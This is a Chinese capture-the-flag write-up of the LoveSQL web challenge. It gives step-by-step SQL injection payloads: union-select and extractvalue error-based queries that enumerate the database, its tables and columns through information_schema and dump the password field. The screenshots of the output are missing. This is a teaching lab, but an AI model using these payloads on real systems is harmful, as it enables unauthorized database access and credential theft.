Web-[极客大挑战 2019]LoveSQL

打开题目:

尝试万能密码:

跳转到check.php页面,并得到用户名和密码

尝试密码md5解密失败
接下来,尝试常规的注入手段
payload:1' union select
出现报错回显,说明这里没有什么过滤

于是,开始爆数据库名-表名-字段名

1. 爆数据库名

  • 方法1
    payload:1' union select * from a#
    报错回显为:

    可以得到数据库名为geek
  • 方法2
    payload:1' and extractvalue(1,concat(1,database()))#

2. 寻找注入点

payload:1' union select 1,2,3,4#
回显:

说明没有这么多个字段
那把payload改成1' union select 1,2,3#

成功找到注入点

3. 爆表名

payload:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显:

可以看到,数据库中存在geekuser和l0ve1ysq1这两个表

4. 爆字段名

payload:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
回显:

这里有3个字段:id,username和password
根据直觉,猜测flag应该在password字段中

5. 找password字段下的所有条目

payload:1' union select 1,2,group_concat(password) from l0ve1ysq1#
回显:

得到flag

原文地址:https://www.cnblogs.com/1dan/p/15509005.html